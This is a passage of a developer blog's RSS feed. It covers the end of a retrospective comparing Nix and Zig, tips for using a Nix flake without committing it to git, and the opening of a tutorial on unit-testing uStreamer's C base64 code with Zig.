&lt;p>One of the most surprising gaps in Nix is that &lt;a href="https://github.com/NixOS/nixpkgs/issues/9682">there&amp;rsquo;s no official way to specify a package version&lt;/a> you want to install. There have been eight years of discussion, and &lt;a href="https://github.com/NixOS/nixpkgs/issues/93327">there doesn&amp;rsquo;t seem to be a solution&lt;/a> or even an official acknowledgment that this will or won&amp;rsquo;t be fixed.&lt;/p>
&lt;h3 id="nix-leadership-is-decentralized-zig-has-a-bdfl">Nix leadership is decentralized, Zig has a BDFL&lt;/h3>
&lt;p>Andrew Kelly is the original creator of Zig. Several others have joined the project, but &lt;a href="https://kristoff.it/blog/interfacing-with-zig/">Andrew is effectively still the benevolent dictator for life (BDFL)&lt;/a>. When I&amp;rsquo;d search for Zig documentation or help, I&amp;rsquo;d frequently encounter Andrew or someone official from the project answering in a GitHub issue or forum discussion.&lt;/p>
&lt;p>When I first heard about Nix, I assumed &lt;a href="https://edolstra.github.io/">Eelco Dolstra&lt;/a> would be Nix&amp;rsquo;s BDFL. He doesn&amp;rsquo;t seem to be, at least not publicly.&lt;/p>
&lt;p>Nix is Eelco&amp;rsquo;s brainchild, as it came out of his &lt;a href="https://edolstra.github.io/pubs/phd-thesis.pdf">2006 PhD thesis&lt;/a>. Eelco is &lt;a href="https://discourse.nixos.org/t/expanding-the-nixos-foundation/19929">president of the Nix Foundation&lt;/a>, but he also works for &lt;a href="https://determinate.systems/">Determinate Systems&lt;/a>, a third-party consulting firm that promotes Nix. But Determinate Systems is decidedly third-party and not core to Nix. They release things that sometimes &lt;a href="https://discourse.nixos.org/t/introducing-flakehub/32044/3?u=mtlynch">clash&lt;/a> &lt;a href="https://discourse.nixos.org/t/parting-from-the-documentation-team/24900?u=mtlynch">controversially&lt;/a> with work from internal Nix teams.&lt;/p>
&lt;p>While Zig feels centrally-planned, Nix feels rudderless. When I can&amp;rsquo;t figure something out, my searches often bring me to meandering discussions on GitHub or the Nix Discourse forum. The conversations always sound like people discussing an alien technology that we&amp;rsquo;ve discovered by mistake. I never see someone from the Nix core team weigh in, and I don&amp;rsquo;t even know if there is a core team.&lt;/p>
&lt;h3 id="older-solutions-usually-dont-work-in-nix-or-zig">Older solutions usually don&amp;rsquo;t work in Nix or Zig&lt;/h3>
&lt;p>Zig hasn&amp;rsquo;t declared a stable 1.0 release yet, so it&amp;rsquo;s typical for compiler updates to make breaking changes. Code that was valid in Zig 0.8.0 might not still be valid in Zig 0.11.0. In my experience, Zig tooling is pretty good at fixing the code automatically, but it&amp;rsquo;s not 100% accurate.&lt;/p>
&lt;p>In Nix, I&amp;rsquo;ve similarly run into problems with older examples. Nix is in the middle of a controversial revolution around &lt;a href="https://nixos.wiki/wiki/Flakes">flakes&lt;/a>, a fairly new and still-not-official feature. But all the recent guides use flakes, and all the old discussions use not-flakes, so I have trouble applying pre-flakes solutions to my post-flakes environments.&lt;/p>
&lt;h3 id="zig-requires-full-team-buy-in-whereas-nix-facilitates-partial-adoption">Zig requires full team buy-in, whereas Nix facilitates partial adoption&lt;/h3>
&lt;p>One nice property of Nix is that it&amp;rsquo;s self-contained. I can drop a &lt;code>flake.nix&lt;/code> into one of my projects to &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">automatically manage dependencies&lt;/a> without changing anything else or asking anything of my teammates.&lt;/p>
&lt;p>Even if I&amp;rsquo;m the only Nix user on my team, the &lt;code>flake.nix&lt;/code> still provides great value to me without costing anyone else anything or requiring them to use a new tool. It&amp;rsquo;s like adding a &lt;code>.vscode&lt;/code> directory to your project: helpful for people who use VS Code, doesn&amp;rsquo;t really bother anyone else.&lt;/p>
&lt;p>Zig, on the other hand, requires commitment and full-team buy-in. If you&amp;rsquo;ve got a C or C++ project, and you decide you want to switch to Zig, you can&amp;rsquo;t just enjoy your better tooling and wait for your teammates to join you. As soon as you introduce Zig code into your project, everyone has to build it with the Zig compiler rather than a C/C++ compiler.&lt;/p>
&lt;p>It&amp;rsquo;s not Zig&amp;rsquo;s fault, but it means that I&amp;rsquo;m only exposed to Zig when I visit Zig-land by tinkering with code or looking at a Zig project, whereas I now bring Nix with me everywhere I go.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Completed design work on TinyPilot license checking.&lt;/li>
&lt;li>Published three new &lt;a href="https://mtlynch.io/notes/">blog notes&lt;/a>.
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/notes/zig-unit-test-c/">&amp;ldquo;Using Zig to Unit Test a C Application&amp;rdquo;&lt;/a> was popular on &lt;a href="https://news.ycombinator.com/item?id=38683852">Hacker News&lt;/a>, &lt;a href="https://lobste.rs/s/ghttjv/using_zig_unit_test_c_application">Lobsters&lt;/a>, and &lt;a href="https://ziggit.dev/t/using-zig-to-unit-test-a-c-application/2502?u=mtlynch">Ziggit&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Completed year-end tax chores.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Periodic meta-reviews of documentation reviews might be helpful.
&lt;ul>
&lt;li>We&amp;rsquo;re currently only discussing improvements on a per-article level, but the team&amp;rsquo;s writing skills might improve more by reviewing patterns that recur across many articles.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://vale.sh/">Vale&lt;/a> might be useful for catching minor issues before a documentation review.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish annual retrospective.&lt;/li>
&lt;li>Reach out to five bloggers about TinyPilot collaborations.&lt;/li>
&lt;li>Get records ready for 2023 taxes.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;ul>
&lt;li>If you&amp;rsquo;ve had good experience with a 3PL that serves small order volumes (100-200 shipments per month), let me know. I&amp;rsquo;m &lt;a href="https://mtlynch.io/retrospectives/2023/12/#one-day-shipping-how-hard-could-it-be">in the market for a good 3PL&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Use a Nix Flake without Adding it to Git</title><link>https://mtlynch.io/notes/use-nix-flake-without-git/</link><pubDate>Fri, 29 Dec 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/use-nix-flake-without-git/</guid><description>&lt;p>When I work in my own repositories these days, I always &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">add a Nix flake to the repo&lt;/a> so that I can spin up a working development environment on any system with a single command.&lt;/p>
&lt;p>What do I do when I&amp;rsquo;m working in someone else&amp;rsquo;s repo and they don&amp;rsquo;t want to adopt Nix flakes?&lt;/p>
&lt;p>Normally, I&amp;rsquo;d just add the file to my copy of the repo and &lt;a href="https://stackoverflow.com/a/1753078/90388">gitignore it locally&lt;/a> so I don&amp;rsquo;t commit my personally-specific files with the rest of my changes.&lt;/p></description><content:encoded>&lt;p>When I work in my own repositories these days, I always &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">add a Nix flake to the repo&lt;/a> so that I can spin up a working development environment on any system with a single command.&lt;/p>
&lt;p>What do I do when I&amp;rsquo;m working in someone else&amp;rsquo;s repo and they don&amp;rsquo;t want to adopt Nix flakes?&lt;/p>
&lt;p>Normally, I&amp;rsquo;d just add the file to my copy of the repo and &lt;a href="https://stackoverflow.com/a/1753078/90388">gitignore it locally&lt;/a> so I don&amp;rsquo;t commit my personally-specific files with the rest of my changes.&lt;/p>
&lt;p>The problem with Nix flakes is that they don&amp;rsquo;t work unless you &lt;code>git add flake.nix&lt;/code> to your repo. So, I searched for a way to have my own &lt;code>flake.nix&lt;/code> file without committing it to Git.&lt;/p>
&lt;h2 id="option-1-create-a-wrapper-parent-directory">Option 1: Create a wrapper parent directory&lt;/h2>
&lt;p>Commenter &lt;code>@kesor&lt;/code> offered the simplest solution I&amp;rsquo;ve seen so far: create a parent directory.&lt;/p>
&lt;p>If you were working on a repo called &lt;code>examplerepo&lt;/code>, you&amp;rsquo;d structure your directory tree like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── examplerepo/ &amp;lt;&amp;lt; The actual git repo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── flake.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└── flake.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That way, &lt;code>flake.nix&lt;/code> and &lt;code>flake.lock&lt;/code> sit outside of a git repo.&lt;/p>
&lt;p>Then, you run &lt;code>nix develop&lt;/code> from the parent directory and do your work in the &lt;code>./examplerepo&lt;/code> folder.&lt;/p>
&lt;p>The parent directory doesn&amp;rsquo;t have to be a git repo, but it can be if you want.&lt;/p>
&lt;h2 id="option-2-hide-changes-from-git">Option 2: Hide changes from git&lt;/h2>
&lt;p>Silvan Mosberger &lt;a href="https://discourse.nixos.org/t/can-i-use-flakes-within-a-git-repo-without-committing-flake-nix/18196/5?u=mtlynch">offered this solution&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git add --intent-to-add flake.nix flake.lock &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git update-index --assume-unchanged flake.nix flake.lock
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It doesn&amp;rsquo;t work perfectly, as commands like &lt;code>git reset&lt;/code> will undo it, but it effectively hides the flake files from the changeset.&lt;/p>
&lt;h2 id="option-3-tell-nix-to-ignore-git">Option 3: Tell Nix to ignore git&lt;/h2>
&lt;p>Serhii Khoma also &lt;a href="https://discourse.nixos.org/t/can-i-use-flakes-within-a-git-repo-without-committing-flake-nix/18196/28?u=mtlynch">showed a workaround&lt;/a> where you can tell Nix to ignore the git repository:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix develop path:.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This seems to be a little slower than the standard git-based version.&lt;/p>
&lt;p>And then you can ignore the flake files locally with this command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;flake.nix&amp;#34;&lt;/span> &amp;gt;&amp;gt; .git/info/exclude &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;flake.lock&amp;#34;&lt;/span> &amp;gt;&amp;gt; .git/info/exclude
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This solution is more robust than the hide changes workaround, though you have to remember to use a different &lt;code>nix develop&lt;/code> command than you might be used to.&lt;/p></content:encoded></item><item><title>Using Zig to Unit Test a C Application</title><link>https://mtlynch.io/notes/zig-unit-test-c/</link><pubDate>Mon, 18 Dec 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/zig-unit-test-c/</guid><description>&lt;p>&lt;a href="https://ziglang.org/">Zig&lt;/a> is a new, independently developed low-level programming language. It&amp;rsquo;s a modern reimagining of C that attempts to retain C&amp;rsquo;s performance while embracing improvements from the last 30 years of tooling and language design.&lt;/p>
&lt;p>Zig makes calling into C code easier than any other language I&amp;rsquo;ve used. Zig also treats unit testing as a first-class feature, which the C language certainly does not.&lt;/p>
&lt;p>These two properties of Zig create an interesting opportunity: Zig allows you to add unit tests to existing C code. You can do this without rewriting any of your C code or build logic.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://ziglang.org/">Zig&lt;/a> is a new, independently developed low-level programming language. It&amp;rsquo;s a modern reimagining of C that attempts to retain C&amp;rsquo;s performance while embracing improvements from the last 30 years of tooling and language design.&lt;/p>
&lt;p>Zig makes calling into C code easier than any other language I&amp;rsquo;ve used. Zig also treats unit testing as a first-class feature, which the C language certainly does not.&lt;/p>
&lt;p>These two properties of Zig create an interesting opportunity: Zig allows you to add unit tests to existing C code. You can do this without rewriting any of your C code or build logic.&lt;/p>
&lt;p>To demonstrate how to use Zig to test existing C code, I added unit tests to a real-world C application that I use daily.&lt;/p>
&lt;h2 id="the-real-world-c-application-ustreamer">The real-world C application: uStreamer&lt;/h2>
&lt;p>For the past three years, I&amp;rsquo;ve been working on &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an open-source KVM over IP. TinyPilot allows you to &lt;a href="https://mtlynch.io/tinypilot">plug a Raspberry Pi into any computer&lt;/a> and then control that computer remotely.&lt;/p>
&lt;p>To stream the target computer&amp;rsquo;s display, TinyPilot uses &lt;a href="https://github.com/pikvm/ustreamer">uStreamer&lt;/a>, a video streaming utility that&amp;rsquo;s optimized for Raspberry Pi&amp;rsquo;s hardware.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/zig-unit-test-c/ustreamer-display.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/zig-unit-test-c/ustreamer-display_hu_348c926136b0fd0e.webp 300w, https://mtlynch.io/notes/zig-unit-test-c/ustreamer-display_hu_22298390ea075455.webp 600w, https://mtlynch.io/notes/zig-unit-test-c/ustreamer-display_hu_d46a3019f4f065d9.webp 800w, https://mtlynch.io/notes/zig-unit-test-c/ustreamer-display_hu_3732dd3b560b21e5.webp 1200w, https://mtlynch.io/notes/zig-unit-test-c/ustreamer-display.webp 1400w'
 src="https://mtlynch.io/notes/zig-unit-test-c/ustreamer-display.webp" alt="Screenshot of TinyPilot in a browser window displaying a Dell boot screen" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot uses the C uStreamer application to stream video&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;ve been working with uStreamer for several years, but I find the codebase difficult to approach. It&amp;rsquo;s implemented in C, and it doesn&amp;rsquo;t have any automated tests.&lt;/p>
&lt;p>I learn best by tinkering with code, so exercising uStreamer&amp;rsquo;s C code through Zig feels like a good way to learn more about both uStreamer and Zig.&lt;/p>
&lt;h2 id="getting-the-ustreamer-source-code">Getting the uStreamer source code&lt;/h2>
&lt;p>To begin, I&amp;rsquo;ll grab the uStreamer source code. The latest release as of this writing is &lt;code>v5.45&lt;/code>, so I&amp;rsquo;ll grab that version:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">USTREAMER_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;v5.45&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git clone &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --branch &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">USTREAMER_VERSION&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://github.com/pikvm/ustreamer.git
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="whats-the-simplest-c-function-in-ustreamer">What&amp;rsquo;s the simplest C function in uStreamer?&lt;/h2>
&lt;p>For this exercise, the challenge is going to be using Zig, so I want the C part to be as simple as possible.&lt;/p>
&lt;p>I want to find a dead simple function in uStreamer&amp;rsquo;s C code — something that I can feed some input, and it gives me some output that I can inspect easily.&lt;/p>
&lt;p>Scanning through the filenames, I noticed &lt;a href="https://github.com/pikvm/ustreamer/blob/v5.45/src/libs/base64.c">&lt;code>base64.c&lt;/code>&lt;/a>. That sounded promising. I know that &lt;a href="https://en.wikipedia.org/wiki/Base64">base64&lt;/a> is a scheme for encoding arbitrary data as a printable string.&lt;/p>
&lt;p>For example, if I read 10 bytes from &lt;code>/dev/random&lt;/code> into my terminal, I get some unprintable bytes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ head -c &lt;span style="color:#3677a9">10&lt;/span> /dev/random &amp;gt; /tmp/output &amp;amp;&amp;amp; cat /tmp/output
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>V�1A�����b
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I encode the data as base64, I get clean, printable charcters:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ base64 &amp;lt; /tmp/output
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">Vo8xQbWmnsLQYg&lt;/span>==
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s the signature of uStreamer&amp;rsquo;s base64 function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/libs/base64.h
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> &lt;span style="color:#447fcf">us_base64_encode&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">uint8_t&lt;/span> *data, &lt;span style="color:#6ab825;font-weight:bold">size_t&lt;/span> size, &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> **encoded, &lt;span style="color:#6ab825;font-weight:bold">size_t&lt;/span> *allocated);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From inspecting the function&amp;rsquo;s implementation in &lt;a href="https://github.com/pikvm/ustreamer/blob/v5.45/src/libs/base64.c">&lt;code>base64.c&lt;/code>&lt;/a>, here&amp;rsquo;s what I deduce about the semantics of &lt;code>us_base64_encode&lt;/code>:&lt;/p>
&lt;ul>
&lt;li>&lt;code>data&lt;/code> is input data to encode with the base64 encoding scheme.&lt;/li>
&lt;li>&lt;code>size&lt;/code> is the length of the &lt;code>data&lt;/code> buffer (in bytes).&lt;/li>
&lt;li>&lt;code>encoded&lt;/code> is a pointer to an output buffer in which &lt;code>us_base64_encode&lt;/code> stores the base64-encoded string.
&lt;ul>
&lt;li>&lt;code>us_base64_encode&lt;/code> allocates memory for the output, and the caller is responsible for freeing the memory when they&amp;rsquo;re done with it.&lt;/li>
&lt;li>Technically, &lt;code>us_base64_encode&lt;/code> allows the caller to allocate the buffer for &lt;code>encoded&lt;/code>, but, for simplicity, I&amp;rsquo;m ignoring that functionality.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>allocated&lt;/code> is a pointer that &lt;code>us_base64_encode&lt;/code> populates with the number of bytes it allocated into &lt;code>encoded&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>Here&amp;rsquo;s a simple test program to call this function from C:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/test.c
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;#34;libs/base64.h&amp;#34;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *input = &lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *encoded = &lt;span style="color:#24909d">NULL&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">size_t&lt;/span> encoded_bytes = &lt;span style="color:#3677a9">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">us_base64_encode&lt;/span>((&lt;span style="color:#6ab825;font-weight:bold">uint8_t&lt;/span> *)input, &lt;span style="color:#447fcf">strlen&lt;/span>(input), &amp;amp;encoded, &amp;amp;encoded_bytes);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;input: %s&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, input);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;output: %s&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, encoded);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;output bytes: %lu&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, encoded_bytes);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">free&lt;/span>(encoded);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;ll compile it with gcc, a popular C compiler:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gcc src/test.c src/libs/base64.c -o /tmp/b64test
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>In file included from src/libs/base64.h:31,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> from src/test.c:3:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/libs/tools.h: In &lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> ‘us_signum_to_string’:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/libs/tools.h:194:34: warning: implicit declaration of &lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> ‘sigabbrev_np’ [-Wimplicit-function-declaration]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">194&lt;/span> | const char *const &lt;span style="color:#40ffff">name&lt;/span> = sigabbrev_np(signum);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | ^~~~~~~~~~~~
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hmm, the code compiles, but I&amp;rsquo;m getting a lot of compiler warnings about a &lt;code>tools.h&lt;/code> header that the uStreamer code includes.&lt;/p>
&lt;p>If I look into &lt;code>src/libs/tools.h&lt;/code>, I see that all the errors are around a single function: &lt;a href="https://github.com/pikvm/ustreamer/blob/v5.45/src/libs/tools.h#L192-L210">&lt;code>us_signum_to_string&lt;/code>&lt;/a>. Let me see if I can just comment out that function to clear away the irrelevant warnings.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">DEBUG: Temporarily delete this function to get the build working again.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">INLINE char *us_signum_to_string(int signum) {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">...
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"> return buf;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">}
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">*/&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With the pesky &lt;code>us_signum_to_string&lt;/code> function removed, I&amp;rsquo;ll try to compile build again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gcc src/test.c src/libs/base64.c -o /tmp/b64test &amp;amp;&amp;amp; /tmp/b64test
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>input: hello, world!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output: &lt;span style="color:#40ffff">aGVsbG8sIHdvcmxkIQ&lt;/span>==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output bytes: &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hooray, no more compiler warnings.&lt;/p>
&lt;p>If I were trying to compile all of uStreamer, I&amp;rsquo;d have to figure out how to get &lt;code>us_signum_to_string&lt;/code> to compile. For this exercise, I&amp;rsquo;m just calling &lt;code>us_base64_encode&lt;/code> from Zig, so I don&amp;rsquo;t need &lt;code>us_signum_to_string&lt;/code>.&lt;/p>
&lt;p>If I compare my &lt;code>test.c&lt;/code> program&amp;rsquo;s output to my system&amp;rsquo;s built-in &lt;code>base64&lt;/code> utility, I can verify that I&amp;rsquo;m producing the correct result:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">printf&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;hello, world!&amp;#39;&lt;/span> | base64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">aGVsbG8sIHdvcmxkIQ&lt;/span>==
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The complete example at this stage &lt;a href="https://github.com/tiny-pilot/ustreamer/tree/zig-00-c-test">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="adding-zig-to-my-ustreamer-project-environment">Adding Zig to my uStreamer project environment&lt;/h2>
